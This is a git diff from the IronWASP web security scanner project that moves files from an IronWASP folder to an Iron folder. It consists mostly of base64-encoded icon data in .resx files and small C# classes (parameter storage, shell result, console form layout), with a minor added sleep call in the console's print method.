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 + + + \ No newline at end of file diff --git a/IronWASP/InjectionParameters.cs b/Iron/InjectionParameters.cs similarity index 96% rename from IronWASP/InjectionParameters.cs rename to Iron/InjectionParameters.cs index 86fba2e..fa30cdc 100644 --- a/IronWASP/InjectionParameters.cs +++ b/Iron/InjectionParameters.cs @@ -1,141 +1,141 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - class InjectionParameters - { - Dictionary> ParameterStore = new Dictionary>(); - - public int Count - { - get - { - return ParameterStore.Count; - } - } - - internal InjectionParameters() - { - - } - - public int Get(string Name) - { - if (ParameterStore.ContainsKey(Name)) - { - List Values = ParameterStore[Name]; - return Values[0]; - } - else - { - //Must return custom exception - int Value = 0; - return Value; - } - } - - public void Add(string Name, int Value) - { - if (ParameterStore.ContainsKey(Name)) - { - List StoredValues = ParameterStore[Name]; - foreach (int StoredValue in StoredValues) - { - if (StoredValue == Value) - { - return; - } - } - ParameterStore[Name].Add(Value); - } - else - { - List Values = new List(); - Values.Add(Value); - ParameterStore.Add(Name,Values); - } - } - public List GetAll() - { - List Keys = new List(); - foreach (string Key in ParameterStore.Keys) - { - Keys.Add(Key); - } - return Keys; - } - public List GetAll(string Name) - { - if (ParameterStore.ContainsKey(Name)) - { - return ParameterStore[Name]; - } - else - { - //Must return custom exception - List EmptyValues = new List(); - return EmptyValues; - } - } - public List GetMultis() - { - List Multis = new List(); - foreach (string Key in ParameterStore.Keys) - { - if (ParameterStore[Key].Count > 1) - { - Multis.Add(Key); - } - } - return Multis; - } - public void Remove(string Name) - { - if (ParameterStore.ContainsKey(Name)) - { - ParameterStore.Remove(Name); - } - } - - public bool Has(string Name) - { - if (ParameterStore.ContainsKey(Name)) - { - return true; - } - else - { - return false; - } - } - - internal bool AllSelected() - { - foreach (string Key in ParameterStore.Keys) - { - - } - return false; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + class InjectionParameters + { + Dictionary> ParameterStore = new Dictionary>(); + + public int Count + { + get + { + return ParameterStore.Count; + } + } + + internal InjectionParameters() + { + + } + + public int Get(string Name) + { + if (ParameterStore.ContainsKey(Name)) + { + List Values = ParameterStore[Name]; + return Values[0]; + } + else + { + //Must return custom exception + int Value = 0; + return Value; + } + } + + public void Add(string Name, int Value) + { + if (ParameterStore.ContainsKey(Name)) + { + List StoredValues = ParameterStore[Name]; + foreach (int StoredValue in StoredValues) + { + if (StoredValue == Value) + { + return; + } + } + ParameterStore[Name].Add(Value); + } + else + { + List Values = new List(); + Values.Add(Value); + ParameterStore.Add(Name,Values); + } + } + public List GetAll() + { + List Keys = new List(); + foreach (string Key in ParameterStore.Keys) + { + Keys.Add(Key); + } + return Keys; + } + public List GetAll(string Name) + { + if (ParameterStore.ContainsKey(Name)) + { + return ParameterStore[Name]; + } + else + { + //Must return custom exception + List EmptyValues = new List(); + return EmptyValues; + } + } + public List GetMultis() + { + List Multis = new List(); + foreach (string Key in ParameterStore.Keys) + { + if (ParameterStore[Key].Count > 1) + { + Multis.Add(Key); + } + } + return Multis; + } + public void Remove(string Name) + { + if (ParameterStore.ContainsKey(Name)) + { + ParameterStore.Remove(Name); + } + } + + public bool Has(string Name) + { + if (ParameterStore.ContainsKey(Name)) + { + return true; + } + else + { + return false; + } + } + + internal bool AllSelected() + { + foreach (string Key in ParameterStore.Keys) + { + + } + return false; + } + } +} diff --git a/IronWASP/InteractiveShellResult.cs b/Iron/InteractiveShellResult.cs similarity index 96% rename from IronWASP/InteractiveShellResult.cs rename to Iron/InteractiveShellResult.cs index 9ee0111..fa4690b 100644 --- a/IronWASP/InteractiveShellResult.cs +++ b/Iron/InteractiveShellResult.cs @@ -1,31 +1,31 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - class InteractiveShellResult - { - public string ResultString = ""; - public bool ValidSyntax = false; - public bool MoreExpected = false; - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + class InteractiveShellResult + { + public string ResultString = ""; + public bool ValidSyntax = false; + public bool MoreExpected = false; + } +} diff --git a/IronWASP/IronConsole.Designer.cs b/Iron/IronConsole.Designer.cs similarity index 100% rename from IronWASP/IronConsole.Designer.cs rename to Iron/IronConsole.Designer.cs index a81a4a6..d3c1479 100644 --- a/IronWASP/IronConsole.Designer.cs +++ b/Iron/IronConsole.Designer.cs @@ -31,9 +31,9 @@ private void InitializeComponent() System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(IronConsole)); this.BaseSplit = new System.Windows.Forms.SplitContainer(); this.OutputTB = new System.Windows.Forms.TextBox(); - this.InputLbl = new System.Windows.Forms.Label(); - this.InputTB = new System.Windows.Forms.TextBox(); this.SubmitBtn = new System.Windows.Forms.Button(); + this.InputTB = new System.Windows.Forms.TextBox(); + this.InputLbl = new System.Windows.Forms.Label(); this.BaseSplit.Panel1.SuspendLayout(); this.BaseSplit.Panel2.SuspendLayout(); this.BaseSplit.SuspendLayout(); @@ -79,14 +79,16 @@ private void InitializeComponent() this.OutputTB.TabIndex = 0; this.OutputTB.TabStop = false; // - // InputLbl + // SubmitBtn // - this.InputLbl.AutoSize = true; - this.InputLbl.Location = new System.Drawing.Point(7, 13); - this.InputLbl.Name = "InputLbl"; - this.InputLbl.Size = new System.Drawing.Size(115, 13); - this.InputLbl.TabIndex = 0; - this.InputLbl.Text = "Enter your input below:"; + this.SubmitBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.SubmitBtn.Location = new System.Drawing.Point(697, 41); + this.SubmitBtn.Name = "SubmitBtn"; + this.SubmitBtn.Size = new System.Drawing.Size(81, 23); + this.SubmitBtn.TabIndex = 2; + this.SubmitBtn.Text = "Submit"; + this.SubmitBtn.UseVisualStyleBackColor = true; + this.SubmitBtn.Click += new System.EventHandler(this.SubmitBtn_Click); // // InputTB // @@ -99,16 +101,14 @@ private void InitializeComponent() this.InputTB.TabIndex = 1; this.InputTB.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.InputTB_KeyPress); // - // SubmitBtn + // InputLbl // - this.SubmitBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.SubmitBtn.Location = new System.Drawing.Point(697, 41); - this.SubmitBtn.Name = "SubmitBtn"; - this.SubmitBtn.Size = new System.Drawing.Size(81, 23); - this.SubmitBtn.TabIndex = 2; - this.SubmitBtn.Text = "Submit"; - this.SubmitBtn.UseVisualStyleBackColor = true; - this.SubmitBtn.Click += new System.EventHandler(this.SubmitBtn_Click); + this.InputLbl.AutoSize = true; + this.InputLbl.Location = new System.Drawing.Point(7, 13); + this.InputLbl.Name = "InputLbl"; + this.InputLbl.Size = new System.Drawing.Size(115, 13); + this.InputLbl.TabIndex = 0; + this.InputLbl.Text = "Enter your input below:"; // // IronConsole // diff --git a/IronWASP/IronConsole.cs b/Iron/IronConsole.cs similarity index 99% rename from IronWASP/IronConsole.cs rename to Iron/IronConsole.cs index ab477e3..c6aeef6 100644 --- a/IronWASP/IronConsole.cs +++ b/Iron/IronConsole.cs @@ -59,6 +59,7 @@ public void SetTitle(string Text) public void Print(object Message) { + Thread.Sleep(100); this.AddText(ConvertObjectIntoPrintableString(Message)); } diff --git a/Iron/IronConsole.resx b/Iron/IronConsole.resx new file mode 100644 index 0000000..c0d1bbb --- /dev/null +++ b/Iron/IronConsole.resx @@ -0,0 +1,1918 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAYAEBAAAAEAIABoBAAAZgAAACAgAAABACAAqBAAAM4EAAAwMAAAAQAgAKglAAB2FQAAQEAAAAEA + IAAoQgAAHjsAAICAAAABACAAKAgBAEZ9AAAAAAAAAQAgALQeAABuhQEAKAAAABAAAAAgAAAAAQAgAAAA + AAAABAAAIy4AACMuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08C0ZdPAgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPWNGX + T1gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPFdGX + T8jRl0/H0ZdPFQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + T43Rl0/U0ZdP1NGXT40AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TxvRl0/20ZdP1NGXT9TRl0/20ZdPGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AADRl0+K0ZdP/9GXT9TRl0/U0ZdP/9GXT4oAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0smj3FNlNGXT//Rl0/U0ZdP1NGXT/+OcU2VS0tLJgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLo0xLS8XRl0/Q0ZdP1NGXT9TRl0/QTEtLx0tLS6IAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLJ0tLS/xLS0v/mHZNj9GXT7TRl0+0lnVNk0tLS/9LS0v8S0tLJwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLS6RLS0v/S0tL/4yFW4vdzW6x3c1usYqDWpBLS0v/S0tL/0tLS6QAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSyhLS0v8S0tL/0tLS87czG7E3c1u/93Nbv/czG7GS0tL0UtLS/9LS0v8S0tLKAAA + AAAAAAAAAAAAAAAAAABLS0ulS0tL/0tLS/+NhVuT3c1u/93Nbv/dzW7/3c1u/42GW5lLS0v/S0tL/0tL + S6UAAAAAAAAAAAAAAABLS0spS0tL/EtLS/9LS0vR3Mxuwd3Nbv/dzW7/3c1u/93Nbv/czG7GS0tL0ktL + S/9LS0v8S0tLKQAAAAAAAAAAS0tLpktLS/9LS0v/iYJakt3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/42F + W5lLS0v/S0tL/0tLS6YAAAAAS0tLKktLS/VLS0ulS0tLQdfHbBLdzW5c3c1up93Nbu/dzW7v3c1uqN3N + bl3XyG0US0tLQUtLS6VLS0v1S0tLKktLSy5LS0sSAAAAAAAAAAAAAAAAAAAAAAAAAADdzW4E3c1uBAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLEktLSy7+fwAA/n8AAPw/AAD8PwAA+B8AAPgfAADwDwAA8A8AAOAH + AADgBwAAwAMAAMADAACAAQAAgAEAAAAAAAA+fAAAKAAAACAAAABAAAAAAQAgAAAAAAAAEAAAIy4AACMu + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPB9GXTwcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwDRl09t0ZdPbdGXTwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPSNGXT6rRl0+q0ZdPSAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + 